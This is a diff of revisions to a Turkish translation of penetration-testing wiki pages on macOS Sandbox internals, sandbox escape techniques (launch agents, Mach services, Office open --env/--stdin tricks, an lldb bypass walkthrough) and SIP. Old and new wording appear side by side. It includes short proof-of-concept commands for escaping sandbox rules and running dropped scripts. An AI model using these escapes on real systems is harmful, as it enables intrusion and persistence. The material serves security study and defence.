@ -350,29 +350,29 @@ Bu sistem çağrısı (#381), çalıştırılacak modülü belirten birinci arg
## Sandbox.kext ## Sandbox.kext
iOS'ta çekirdek uzantısının **tüm profilleri sabit kodlu** olarak `__TEXT.__const` segmentinde içerdiğini unutmayın, böylece bunların değiştirilmesi engellenir. Çekirdek uzantısından bazı ilginç fonksiyonlar şunlardır: iOS'ta çekirdek uzantısının **tüm profilleri sabit kodlu** olarak `__TEXT.__const` segmentinde içerdiğini unutmayın, böylece bunların değiştirilmesi önlenir. Çekirdek uzantısından bazı ilginç fonksiyonlar şunlardır:
- **`hook_policy_init`**: `mpo_policy_init`'i bağlar ve `mac_policy_register`'den sonra çağrılır. Sandbox'ın çoğu başlatmasını gerçekleştirir. Ayrıca SIP'yi de başlatır. - **`hook_policy_init`**: `mpo_policy_init`'i bağlar ve `mac_policy_register`'dan sonra çağrılır. Sandbox'ın çoğu başlatmasını gerçekleştirir. Ayrıca SIP'yi de başlatır.
- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` ve `security.mac.sandbox.debug_mode`'u kaydederek sysctl arayüzünü ayarlar (eğer `PE_i_can_has_debugger` ile başlatılmışsa). - **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` ve `security.mac.sandbox.debug_mode`'u kaydederek sysctl arayüzünü ayarlar (eğer `PE_i_can_has_debugger` ile başlatılmışsa).
- **`hook_policy_syscall`**: `mac_syscall` tarafından "Sandbox" birinci argüman olarak ve ikinci argümanda işlemi belirten kod ile çağrılır. İstenen koda göre çalıştırılacak kodu bulmak için bir switch kullanılır. - **`hook_policy_syscall`**: `mac_syscall` tarafından "Sandbox" birinci argüman olarak ve ikinci argümanda işlemi belirten kod ile çağrılır. İstenen koda göre çalıştırılacak kodu bulmak için bir switch kullanılır.
### MACF Hooks ### MACF Hooks
**`Sandbox.kext`** MACF aracılığıyla yüzlerce kancayı kullanır. Kancaların çoğu, eğer değilse, işlemi gerçekleştirmeye izin veren bazı önemsiz durumları kontrol eder; aksi takdirde **`cred_sb_evalutate`**'yi MACF'den alınan **kimlik bilgileri** ve gerçekleştirilecek **işlem** ile ilgili bir sayı ve **çıktı** için bir **tampon** ile çağırırlar. **`Sandbox.kext`** MACF aracılığıyla yüzlerce kancadan fazlasını kullanır. Kancaların çoğu, eğer değilse, eylemi gerçekleştirmeye izin veren bazı önemsiz durumları kontrol eder, aksi takdirde **`cred_sb_evalutate`**'yi MACF'den alınan **kimlik bilgileri** ve gerçekleştirilecek **işlem** ile ilgili bir sayı ve **çıkış** için bir **tampon** ile çağırırlar.
Bunun iyi bir örneği, **`_mpo_file_check_mmap`** fonksiyonudur; bu fonksiyon **`mmap`**'i bağlar ve yeni belleğin yazılabilir olup olmadığını kontrol etmeye başlar (ve eğer değilse yürütmeye izin vermez), ardından bunun dyld paylaşılan önbelleği için kullanılıp kullanılmadığını kontrol eder ve eğer öyleyse yürütmeye izin verir; son olarak **`sb_evaluate_internal`**'i (veya sarmalayıcılarından birini) çağırarak daha fazla izin kontrolü gerçekleştirir. Bunun iyi bir örneği, **`_mpo_file_check_mmap`** fonksiyonudur; bu fonksiyon **`mmap`**'i bağlar ve yeni belleğin yazılabilir olup olmadığını kontrol etmeye başlar (ve eğer değilse yürütmeye izin vermez), ardından bunun dyld paylaşılan önbelleği için kullanılıp kullanılmadığını kontrol eder ve eğer öyleyse yürütmeye izin verir, ve nihayetinde daha fazla izin kontrolü gerçekleştirmek için **`sb_evaluate_internal`**'i (veya onun sarmalayıcılarından birini) çağırır.
Ayrıca, Sandbox'ın kullandığı yüzlerce kancanın dışında, özellikle ilginç olan 3 kanca vardır: Ayrıca, Sandbox'ın kullandığı yüzlerce kancanın dışında, özellikle ilginç olan 3 kanca vardır:
- `mpo_proc_check_for`: Gerekirse profili uygular ve daha önce uygulanmamışsa. - `mpo_proc_check_for`: Gerekirse profili uygular ve daha önce uygulanmadıysa.
- `mpo_vnode_check_exec`: Bir işlem ilişkili ikili dosyayı yüklediğinde çağrılır, ardından bir profil kontrolü gerçekleştirilir ve ayrıca SUID/SGID yürütmelerini yasaklayan bir kontrol yapılır. - `mpo_vnode_check_exec`: Bir işlem ilişkili ikili dosyayı yüklediğinde çağrılır, ardından bir profil kontrolü gerçekleştirilir ve ayrıca SUID/SGID yürütmelerini yasaklayan bir kontrol yapılır.
- `mpo_cred_label_update_execve`: Etiket atandığında çağrılır. Bu, ikili dosya tamamen yüklendiğinde ancak henüz yürütülmediğinde çağrıldığı için en uzun olanıdır. Sandbox nesnesi oluşturma, kauth kimlik bilgilerine sandbox yapısını ekleme, mach portlarına erişimi kaldırma gibi işlemler gerçekleştirir... - `mpo_cred_label_update_execve`: Etiket atandığında çağrılır. Bu, ikili dosya tamamen yüklendiğinde ancak henüz yürütülmediğinde çağrıldığı için en uzun olanıdır. Sandbox nesnesi oluşturma, kauth kimlik bilgilerine sandbox yapısını ekleme, mach portlarına erişimi kaldırma gibi işlemleri gerçekleştirir...
Unutmayın ki **`_cred_sb_evalutate`**, **`sb_evaluate_internal`**'in bir sarmalayıcısıdır ve bu fonksiyon, geçirilen kimlik bilgilerini alır ve ardından **`eval`** fonksiyonunu kullanarak değerlendirme yapar; bu genellikle tüm işlemlere varsayılan olarak uygulanan **platform profili** ve ardından **belirli işlem profili** üzerinde değerlendirme yapar. Unutmayın ki platform profili, macOS'taki **SIP**'in ana bileşenlerinden biridir. Unutmayın ki **`_cred_sb_evalutate`**, **`sb_evaluate_internal`**'in bir sarmalayıcısıdır ve bu fonksiyon, geçirilen kimlik bilgilerini alır ve ardından genellikle tüm işlemlere varsayılan olarak uygulanan **platform profili** ve ardından **belirli işlem profili** ile değerlendirme gerçekleştiren **`eval`** fonksiyonunu kullanarak değerlendirme yapar. Unutmayın ki platform profili, macOS'taki **SIP**'in ana bileşenlerinden biridir.
## Sandboxd ## Sandboxd
Sandbox ayrıca, XPC Mach servisi `com.apple.sandboxd`'yi sergileyen bir kullanıcı daemon'u çalıştırır ve çekirdek uzantısının iletişim kurmak için kullandığı özel 14 numaralı portu (`HOST_SEATBELT_PORT`) bağlar. MIG kullanarak bazı fonksiyonlar sunar. Sandbox ayrıca, XPC Mach servisi `com.apple.sandboxd`'yi sergileyen bir kullanıcı daemon'u çalıştırır ve çekirdek uzantısının iletişim kurmak için kullandığı özel port 14 (`HOST_SEATBELT_PORT`) ile bağlanır. MIG kullanarak bazı fonksiyonlar sunar.
## References ## References

View File

@ -10,7 +10,7 @@
Derleyici, `/usr/lib/libSystem.B.dylib` dosyasını ikili dosyaya bağlayacaktır. Derleyici, `/usr/lib/libSystem.B.dylib` dosyasını ikili dosyaya bağlayacaktır.
Daha sonra, **`libSystem.B`**, **`xpc_pipe_routine`** uygulamanın yetkilerini **`securityd`**'ye göndermeden önce birkaç başka fonksiyonu çağıracaktır. Securityd, sürecin Sandbox içinde karantinaya alınması gerekip gerekmediğini kontrol eder ve eğer öyleyse, karantinaya alınacaktır.\ Daha sonra, **`libSystem.B`**, **`xpc_pipe_routine`** uygulamanın yetkilerini **`securityd`**'ye gönderene kadar diğer birkaç fonksiyonu çağıracaktır. Securityd, sürecin Sandbox içinde karantinaya alınması gerekip gerekmediğini kontrol eder ve eğer öyleyse, karantinaya alır.\
Son olarak, sandbox, **`__sandbox_ms`** çağrısıyla etkinleştirilecek ve bu da **`__mac_syscall`**'ı çağıracaktır. Son olarak, sandbox, **`__sandbox_ms`** çağrısıyla etkinleştirilecek ve bu da **`__mac_syscall`**'ı çağıracaktır.
## Olası Bypass'ler ## Olası Bypass'ler
@ -22,9 +22,9 @@ Son olarak, sandbox, **`__sandbox_ms`** çağrısıyla etkinleştirilecek ve bu
Bu, [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**'te yapılan şeydir.** Bu, [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**'te yapılan şeydir.**
> [!CAUTION] > [!CAUTION]
> Bu nedenle, şu anda, eğer sadece **karantina niteliği** olmayan bir isimle biten bir **`.app`** klasörü oluşturabiliyorsanız, sandbox'tan kaçabilirsiniz çünkü macOS yalnızca **`.app` klasörü** ve **ana çalıştırılabilir dosya** içindeki **karantina** niteliğini **kontrol eder** (ve biz ana çalıştırılabilir dosyayı **`/bin/bash`**'e yönlendireceğiz). > Bu nedenle, şu anda, eğer sadece **karantina niteliği** olmayan bir isimle biten bir **`.app`** klasörü oluşturabiliyorsanız, sandbox'tan kaçabilirsiniz çünkü macOS yalnızca **`.app` klasörü** ve **ana çalıştırılabilir** dosyada **karantina** niteliğini **kontrol eder** (ve biz ana çalıştırılabilir dosyayı **`/bin/bash`**'e yönlendireceğiz).
> >
> Eğer bir .app paketi zaten çalıştırılması için yetkilendirilmişse (çalıştırma yetkisi olan bir karantina xttr'ı varsa), bunu da kötüye kullanabilirsiniz... tek farkla ki artık **`.app`** paketleri içinde yazamazsınız, eğer bazı ayrıcalıklı TCC izinleriniz yoksa (ki bunlar yüksek bir sandbox içinde olmayacaktır). > Eğer bir .app paketi zaten çalıştırılmak üzere yetkilendirilmişse (çalıştırılmak üzere yetkilendirilmiş bayrağı olan bir karantina xttr'ı varsa), bunu da kötüye kullanabilirsiniz... tek farkla ki artık **`.app`** paketleri içinde yazamazsınız, eğer bazı ayrıcalıklı TCC izinleriniz yoksa (ki bunlar yüksek bir sandbox içinde olmayacaktır).
### Open işlevselliğini kötüye kullanma ### Open işlevselliğini kötüye kullanma
@ -37,13 +37,13 @@ macos-office-sandbox-bypasses.md
### Başlatma Ajanları/Daemon'ları ### Başlatma Ajanları/Daemon'ları
Bir uygulama **sandbox'lı olacak şekilde tasarlanmışsa** (`com.apple.security.app-sandbox`), örneğin bir LaunchAgent'tan **çalıştırıldığında** sandbox'ı atlamak mümkündür.\ Bir uygulama **sandbox'lı olacak şekilde tasarlanmışsa** (`com.apple.security.app-sandbox`), örneğin bir LaunchAgent'tan **çalıştırıldığında** sandbox'ı atlamak mümkündür.\
[**Bu yazıda**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) açıklandığı gibi, sandbox'lı bir uygulama ile kalıcılık kazanmak istiyorsanız, otomatik olarak bir LaunchAgent olarak çalıştırılmasını sağlayabilir ve belki de DyLib çevre değişkenleri aracılığıyla kötü niyetli kod enjekte edebilirsiniz. [**bu yazıda**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) açıklandığı gibi, sandbox'lı bir uygulama ile kalıcılık kazanmak istiyorsanız, otomatik olarak bir LaunchAgent olarak çalıştırılmasını sağlayabilir ve belki de DyLib çevre değişkenleri aracılığıyla kötü niyetli kod enjekte edebilirsiniz.
### Otomatik Başlatma Konumlarını Kötüye Kullanma ### Otomatik Başlatma Konumlarını Kötüye Kullanma
Eğer bir sandbox'lı süreç, **sonrasında bir sandbox'sız uygulamanın ikili dosyasını çalıştıracağı** bir yere **yazabiliyorsa**, oraya ikili dosyayı yerleştirerek **kaçabilir**. Bu tür konumların iyi bir örneği `~/Library/LaunchAgents` veya `/System/Library/LaunchDaemons`'dır. Eğer bir sandbox'lı süreç, **sonrasında bir sandbox'sız uygulamanın ikili dosyasını çalıştıracağı** bir yere **yazabiliyorsa**, oraya ikili dosyayı yerleştirerek **kaçabilir**. Bu tür konumların iyi bir örneği `~/Library/LaunchAgents` veya `/System/Library/LaunchDaemons`'dır.
Bunun için belki de **2 adım** gerekebilir: Daha **izin verici bir sandbox** (`file-read*`, `file-write*`) ile bir sürecin kodunuzu çalıştırmasını sağlamak ve bu kodun aslında **sandbox'sız çalıştırılacak** bir yere yazmasını sağlamak. Bunun için belki de **2 adım** gerekebilir: Daha **izinli bir sandbox** (`file-read*`, `file-write*`) ile bir sürecin kodunuzu çalıştırmasını sağlamak ve bu kodun aslında **sandbox'sız çalıştırılacağı** bir yere yazmasını sağlamak.
**Otomatik Başlatma konumları** hakkında bu sayfayı kontrol edin: **Otomatik Başlatma konumları** hakkında bu sayfayı kontrol edin:
@ -53,7 +53,7 @@ Bunun için belki de **2 adım** gerekebilir: Daha **izin verici bir sandbox** (
### Diğer süreçleri kötüye kullanma ### Diğer süreçleri kötüye kullanma
Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç) çalışan **diğer süreçleri tehlikeye atabiliyorsanız**, onların sandbox'larına kaçabilirsiniz: Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç) çalışan **diğer süreçleri tehlikeye atabiliyorsanız**, onların sandbox'larından kaçabilirsiniz:
{{#ref}} {{#ref}}
../../../macos-proces-abuse/ ../../../macos-proces-abuse/
@ -63,7 +63,7 @@ Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç)
Sandbox, ayrıca `application.sb` profilinde tanımlanan belirli **Mach hizmetleri** ile iletişim kurmaya da izin verir. Eğer bu hizmetlerden birini **kötüye kullanmayı** başarırsanız, **sandbox'tan kaçabilirsiniz**. Sandbox, ayrıca `application.sb` profilinde tanımlanan belirli **Mach hizmetleri** ile iletişim kurmaya da izin verir. Eğer bu hizmetlerden birini **kötüye kullanmayı** başarırsanız, **sandbox'tan kaçabilirsiniz**.
[Bu yazıda](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) belirtildiği gibi, Mach hizmetleri hakkında bilgi `/System/Library/xpc/launchd.plist` dosyasında saklanmaktadır. Tüm Sistem ve Kullanıcı Mach hizmetlerini bulmak için o dosyada `<string>System</string>` ve `<string>User</string>` araması yapabilirsiniz. [Bu yazıda](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) belirtildiği gibi, Mach hizmetleri hakkında bilgi `/System/Library/xpc/launchd.plist` dosyasında saklanır. Tüm Sistem ve Kullanıcı Mach hizmetlerini bulmak için o dosyada `<string>System</string>` ve `<string>User</string>` araması yapabilirsiniz.
Ayrıca, bir Mach hizmetinin sandbox'lı bir uygulama için mevcut olup olmadığını kontrol etmek için `bootstrap_look_up` çağrısı yapabilirsiniz: Ayrıca, bir Mach hizmetinin sandbox'lı bir uygulama için mevcut olup olmadığını kontrol etmek için `bootstrap_look_up` çağrısı yapabilirsiniz:
```objectivec ```objectivec
@ -90,9 +90,9 @@ checkService(serviceName.UTF8String);
``` ```
### Mevcut PID Mach hizmetleri ### Mevcut PID Mach hizmetleri
Bu Mach hizmetleri, bu yazıda [sandbox'tan kaçmak için ilk olarak istismar edildi](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). O zaman, bir uygulama ve çerçevesi tarafından **gerekli olan tüm XPC hizmetleri** uygulamanın PID alanında görünür durumdaydı (bunlar `ServiceType` olarak `Application` olan Mach Hizmetleridir). Bu Mach hizmetleri, [bu yazıda sandbox'tan kaçmak için ilk olarak istismar edildi](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). O zaman, **bir uygulama ve çerçevesi tarafından gereken tüm XPC hizmetleri** uygulamanın PID alanında görünür durumdaydı (bunlar `ServiceType` olarak `Application` olan Mach Hizmetleridir).
Bir PID Domain XPC hizmeti ile **iletişim kurmak için**, uygulama içinde şu şekilde kaydetmek yeterlidir: Bir **PID Domain XPC hizmeti ile iletişim kurmak için**, uygulama içinde şu şekilde kaydetmek yeterlidir:
```objectivec ```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
``` ```
@ -225,14 +225,14 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
(allow default) (allow default)
(deny file-write* (literal "/private/tmp/sbx")) (deny file-write* (literal "/private/tmp/sbx"))
``` ```
örneğin yeni bir süreç tarafından atlatılabilir: yeni bir sürecin örneğin çalıştırılmasıyla atlatılabilir:
```bash ```bash
mkdir -p /tmp/poc.app/Contents/MacOS mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app open /tmp/poc.app
``` ```
Ancak, elbette, bu yeni süreç ebeveyn süreçten hakları veya ayrıcalıkları miras almayacaktır. Ancak, elbette, bu yeni süreç ebeveyn süreçten haklar veya ayrıcalıklar miras almayacaktır.
### Haklar ### Haklar
@ -324,7 +324,7 @@ Sandbox Bypassed!
``` ```
### Debug & bypass Sandbox with lldb ### Debug & bypass Sandbox with lldb
Sandbox'lı bir uygulama derleyelim: Sandbox'lanması gereken bir uygulama derleyelim:
{{#tabs}} {{#tabs}}
{{#tab name="sand.c"}} {{#tab name="sand.c"}}
@ -373,7 +373,7 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
``` ```
> [!CAUTION] > [!CAUTION]
> Uygulama **`~/Desktop/del.txt`** dosyasını **Sandbox'ın izin vermeyeceği** şekilde **okumaya** çalışacak.\ > Uygulama **`~/Desktop/del.txt`** dosyasını **Sandbox'ın izin vermeyeceği** şekilde **okumaya** çalışacak.\
> Sandbox aşıldığında okunabilmesi için orada bir dosya oluşturun: > Sandbox aşıldığında okuyabilmesi için orada bir dosya oluşturun:
> >
> ```bash > ```bash
> echo "Sandbox Bypassed" > ~/Desktop/del.txt > echo "Sandbox Bypassed" > ~/Desktop/del.txt
@ -456,7 +456,7 @@ Process 2517 resuming
Sandbox Bypassed! Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000) Process 2517 exited with status = 0 (0x00000000)
``` ```
> [!WARNING] > **Sandbox atlatılsa bile TCC** kullanıcıdan masaüstünden dosyaları okumak için işlemi izin verip vermeyeceğini soracaktır. > [!WARNING] > **Sandbox atlatılsa bile TCC** kullanıcıdan sürecin masaüstünden dosya okumak isteyip istemediğini soracaktır.
## References ## References

View File

@ -16,7 +16,7 @@ Bu nedenle, kaçış yapmak **`plist`** LaunchAgent'ı `~/Library/LaunchAgents/~
Sandbox içinde **Login Item** (kullanıcı giriş yaptığında çalıştırılacak uygulamalar) oluşturmanın mümkün olduğu keşfedildi. Ancak, bu uygulamalar **notarize edilmedikçe** **çalışmayacak** ve **argüman eklemek mümkün değil** (yani sadece **`bash`** kullanarak bir ters shell çalıştıramazsınız). Sandbox içinde **Login Item** (kullanıcı giriş yaptığında çalıştırılacak uygulamalar) oluşturmanın mümkün olduğu keşfedildi. Ancak, bu uygulamalar **notarize edilmedikçe** **çalışmayacak** ve **argüman eklemek mümkün değil** (yani sadece **`bash`** kullanarak bir ters shell çalıştıramazsınız).
Önceki Sandbox kaçışından sonra, Microsoft `~/Library/LaunchAgents` dizinine dosya yazma seçeneğini devre dışı bıraktı. Ancak, bir **zip dosyasını Login Item olarak** koyarsanız, `Archive Utility` sadece mevcut konumda **açacaktır**. Bu nedenle, varsayılan olarak `~/Library` içindeki `LaunchAgents` klasörü oluşturulmadığı için, **`LaunchAgents/~$escape.plist`** içindeki plist'i **zipleyip** zip dosyasını **`~/Library`** içine koymak mümkün oldu, böylece açıldığında kalıcılık hedefine ulaşacaktır. Önceki Sandbox bypass'ından, Microsoft `~/Library/LaunchAgents` dizinine dosya yazma seçeneğini devre dışı bıraktı. Ancak, bir **zip dosyasını Login Item olarak** koyarsanız, `Archive Utility` sadece mevcut konumda **açacaktır**. Bu nedenle, varsayılan olarak `~/Library` içindeki `LaunchAgents` klasörü oluşturulmadığı için, **`LaunchAgents/~$escape.plist`** içindeki plist'i **zipleyip** zip dosyasını **`~/Library`** içine koymak mümkün oldu, böylece açıldığında kalıcılık hedefine ulaşacaktır.
[**orijinal raporu buradan kontrol edin**](https://objective-see.org/blog/blog_0x4B.html). [**orijinal raporu buradan kontrol edin**](https://objective-see.org/blog/blog_0x4B.html).
@ -42,11 +42,11 @@ Open aracının **belirli env** değişkenleri ile bir uygulama çalıştırmak
### Word Sandbox Bypass with Open and stdin ### Word Sandbox Bypass with Open and stdin
**`open`** aracı ayrıca **`--stdin`** parametresini destekliyordu (ve önceki kaçıştan sonra `--env` kullanmak artık mümkün değildi). **`open`** aracı ayrıca **`--stdin`** parametresini de destekliyordu (ve önceki bypass'tan sonra `--env` kullanmak artık mümkün değildi).
Şu durum var ki, **`python`** Apple tarafından imzalanmış olsa da, **`quarantine`** niteliğine sahip bir betiği **çalıştırmaz**. Ancak, stdin'den bir betik geçmek mümkündü, böylece karantinada olup olmadığını kontrol etmeyecektir:&#x20; Şu durum var ki, **`python`** Apple tarafından imzalanmış olsa da, **`quarantine`** niteliğine sahip bir betiği **çalıştırmaz**. Ancak, stdin'den bir betik geçmek mümkündü, böylece karantinada olup olmadığını kontrol etmeyecektir:&#x20;
1. Rastgele Python komutları içeren bir **`~$exploit.py`** dosyası bırakın. 1. Rastgele Python komutları içeren bir **`~$exploit.py`** dosyası bırakın.
2. _open_ **`stdin='~$exploit.py' -a Python`** komutunu çalıştırın, bu Python uygulamasını standart girdi olarak bıraktığımız dosya ile çalıştırır. Python, kodumuzu memnuniyetle çalıştırır ve çünkü bu _launchd_'nin bir çocuk süreci olduğundan, Word'ün sandbox kurallarına bağlı değildir. 2. _open_ **`stdin='~$exploit.py' -a Python`** komutunu çalıştırın; bu, Python uygulamasını standart girdi olarak bıraktığımız dosya ile çalıştırır. Python, kodumuzu memnuniyetle çalıştırır ve çünkü bu, _launchd_'nin bir çocuk süreci olduğundan, Word'ün sandbox kurallarına bağlı değildir.
{{#include ../../../../../banners/hacktricks-training.md}} {{#include ../../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## **Temel Bilgiler** ## **Temel Bilgiler**
**Sistem Bütünlüğü Koruması (SIP)**, macOS'ta ana sistem klasörlerinde yetkisiz değişiklikler yapılmasını önlemek için tasarlanmış bir mekanizmadır. Bu özellik, korunan alanlarda dosya ekleme, değiştirme veya silme gibi eylemleri kısıtlayarak sistemin bütünlüğünü korumada önemli bir rol oynar. SIP tarafından korunan ana klasörler şunlardır: **Sistem Bütünlüğü Koruması (SIP)**, macOS'ta ana sistem klasörlerinde yetkisiz değişiklikler yapılmasını önlemek için tasarlanmış bir mekanizmadır. Bu özellik, korunan alanlarda dosya ekleme, değiştirme veya silme gibi eylemleri kısıtlayarak sistemin bütünlüğünü korumada kritik bir rol oynar. SIP tarafından korunan ana klasörler şunlardır:
- **/System** - **/System**
- **/bin** - **/bin**
@ -20,7 +20,7 @@ Aşağıdaki örneği dikkate alın:
* /usr/local * /usr/local
* /usr/share/man * /usr/share/man
``` ```
Bu kesit, SIP'in genel olarak **`/usr`** dizinini güvence altına aldığını, ancak asterisk (\*) ile belirtilen belirli alt dizinlerin (`/usr/libexec/cups`, `/usr/local` ve `/usr/share/man`) değişikliklere izin verdiğini ima etmektedir. Bu kesit, SIP'in genel olarak **`/usr`** dizinini güvence altına aldığını, ancak asterisk (\*) ile belirtilen yollarında değişikliklerin izin verildiği belirli alt dizinler (`/usr/libexec/cups`, `/usr/local` ve `/usr/share/man`) olduğunu ima etmektedir.
Bir dizinin veya dosyanın SIP tarafından korunup korunmadığını doğrulamak için, **`ls -lOd`** komutunu kullanarak **`restricted`** veya **`sunlnk`** bayrağının varlığını kontrol edebilirsiniz. Örneğin: Bir dizinin veya dosyanın SIP tarafından korunup korunmadığını doğrulamak için, **`ls -lOd`** komutunu kullanarak **`restricted`** veya **`sunlnk`** bayrağının varlığını kontrol edebilirsiniz. Örneğin:
```bash ```bash
@ -39,16 +39,16 @@ Burada, **`restricted`** bayrağı, `/usr/libexec` dizininin SIP tarafından kor
Ayrıca, bir dosya **`com.apple.rootless`** genişletilmiş **özelliğini** içeriyorsa, o dosya da **SIP tarafından korunacaktır**. Ayrıca, bir dosya **`com.apple.rootless`** genişletilmiş **özelliğini** içeriyorsa, o dosya da **SIP tarafından korunacaktır**.
> [!TIP] > [!TIP]
> **Sandbox** kancası **`hook_vnode_check_setextattr`**, genişletilmiş özellik **`com.apple.rootless`**'ı değiştirme girişimlerini engeller. > **Sandbox** kancası **`hook_vnode_check_setextattr`**, **`com.apple.rootless`** genişletilmiş özelliğini değiştirme girişimlerini engeller.
**SIP ayrıca diğer kök eylemlerini de sınırlar**: **SIP ayrıca diğer kök eylemlerini de sınırlar**:
- Güvensiz çekirdek uzantılarını yükleme - Güvensiz çekirdek uzantılarını yükleme
- Apple imzalı süreçler için görev-portları alma - Apple imzalı süreçler için görev bağlantı noktalarını alma
- NVRAM değişkenlerini değiştirme - NVRAM değişkenlerini değiştirme
- Çekirdek hata ayıklamaya izin verme - Çekirdek hata ayıklamaya izin verme
Seçenekler, nvram değişkeninde bir bit bayrağı olarak saklanır (`csr-active-config` Intel'de ve `lp-sip0` ARM için önyüklenen Aygıt Ağacından okunur). Bayrakları `csr.sh` dosyasında XNU kaynak kodunda bulabilirsiniz: Seçenekler, nvram değişkeninde bir bit bayrağı olarak saklanır (`csr-active-config` Intel'de ve `lp-sip0` ARM için başlatılan Aygıt Ağacından okunur). Bayrakları `csr.sh` dosyasında XNU kaynak kodunda bulabilirsiniz:
<figure><img src="../../../images/image (1192).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1192).png" alt=""><figcaption></figcaption></figure>
@ -58,7 +58,7 @@ SIP'in sisteminizde etkin olup olmadığını aşağıdaki komutla kontrol edebi
```bash ```bash
csrutil status csrutil status
``` ```
SIP'yi devre dışı bırakmanız gerekiyorsa, bilgisayarınızı kurtarma modunda yeniden başlatmalısınız (başlangıçta Command+R tuşuna basarak), ardından aşağıdaki komutu çalıştırın: Eğer SIP'yi devre dışı bırakmanız gerekiyorsa, bilgisayarınızı kurtarma modunda yeniden başlatmalısınız (başlangıç sırasında Command+R tuşuna basarak), ardından aşağıdaki komutu çalıştırmalısınız:
```bash ```bash
csrutil disable csrutil disable
``` ```
@ -77,16 +77,16 @@ csrutil enable --without debug
### **SIP ile İlgili Yetkiler** ### **SIP ile İlgili Yetkiler**
- `com.apple.rootless.xpc.bootstrap`: launchd kontrolü - `com.apple.rootless.xpc.bootstrap`: launchd kontrolü
- `com.apple.rootless.install[.heritable]`: dosya sistemine erişim - `com.apple.rootless.install[.heritable]`: Dosya sistemine erişim
- `com.apple.rootless.kext-management`: `kext_request` - `com.apple.rootless.kext-management`: `kext_request`
- `com.apple.rootless.datavault.controller`: UF_DATAVAULT yönetimi - `com.apple.rootless.datavault.controller`: UF_DATAVAULT yönetimi
- `com.apple.rootless.xpc.bootstrap`: XPC kurulum yetenekleri - `com.apple.rootless.xpc.bootstrap`: XPC kurulum yetenekleri
- `com.apple.rootless.xpc.effective-root`: launchd XPC üzerinden root - `com.apple.rootless.xpc.effective-root`: launchd XPC üzerinden root
- `com.apple.rootless.restricted-block-devices`: ham blok cihazlarına erişim - `com.apple.rootless.restricted-block-devices`: Ham blok cihazlarına erişim
- `com.apple.rootless.internal.installer-equivalent`: sınırsız dosya sistemi erişimi - `com.apple.rootless.internal.installer-equivalent`: Sınırsız dosya sistemi erişimi
- `com.apple.rootless.restricted-nvram-variables[.heritable]`: NVRAM'a tam erişim - `com.apple.rootless.restricted-nvram-variables[.heritable]`: NVRAM'a tam erişim
- `com.apple.rootless.storage.label`: ilgili etiketle com.apple.rootless xattr tarafından kısıtlanan dosyaları değiştirme - `com.apple.rootless.storage.label`: İlgili etiketle com.apple.rootless xattr tarafından kısıtlanan dosyaları değiştirme
- `com.apple.rootless.volume.VM.label`: hacimde VM takasını sürdürme - `com.apple.rootless.volume.VM.label`: Hacimde VM takasını sürdürme
## SIP Aşmaları ## SIP Aşmaları
@ -94,7 +94,7 @@ SIP'yi aşmak, bir saldırgana şunları sağlar:
- **Kullanıcı Verilerine Erişim**: Tüm kullanıcı hesaplarından hassas kullanıcı verilerini, örneğin e-posta, mesajlar ve Safari geçmişini okuma. - **Kullanıcı Verilerine Erişim**: Tüm kullanıcı hesaplarından hassas kullanıcı verilerini, örneğin e-posta, mesajlar ve Safari geçmişini okuma.
- **TCC Aşması**: TCC (Şeffaflık, Onay ve Kontrol) veritabanını doğrudan manipüle ederek, web kamerası, mikrofon ve diğer kaynaklara yetkisiz erişim sağlama. - **TCC Aşması**: TCC (Şeffaflık, Onay ve Kontrol) veritabanını doğrudan manipüle ederek, web kamerası, mikrofon ve diğer kaynaklara yetkisiz erişim sağlama.
- **Kalıcılık Sağlama**: SIP korumalı alanlara kötü amaçlı yazılım yerleştirme, bu da kaldırılmasına karşı dirençli hale getirir, hatta root ayrıcalıklarıyla bile. Bu, Kötü Amaçlı Yazılım Kaldırma Aracı'nın (MRT) değiştirilmesi potansiyelini de içerir. - **Kalıcılık Sağlama**: SIP korumalı alanlara kötü amaçlı yazılım yerleştirme, bu da kök ayrıcalıkları tarafından bile kaldırılmasına karşı dirençli hale getirir. Bu, Kötü Amaçlı Yazılım Kaldırma Aracı'nın (MRT) değiştirilmesi potansiyelini de içerir.
- **Çekirdek Uzantılarını Yükleme**: Ek korumalara rağmen, SIP'yi aşmak, imzalanmamış çekirdek uzantılarını yükleme sürecini basitleştirir. - **Çekirdek Uzantılarını Yükleme**: Ek korumalara rağmen, SIP'yi aşmak, imzalanmamış çekirdek uzantılarını yükleme sürecini basitleştirir.
### Yükleyici Paketleri ### Yükleyici Paketleri
@ -103,7 +103,7 @@ SIP'yi aşmak, bir saldırgana şunları sağlar:
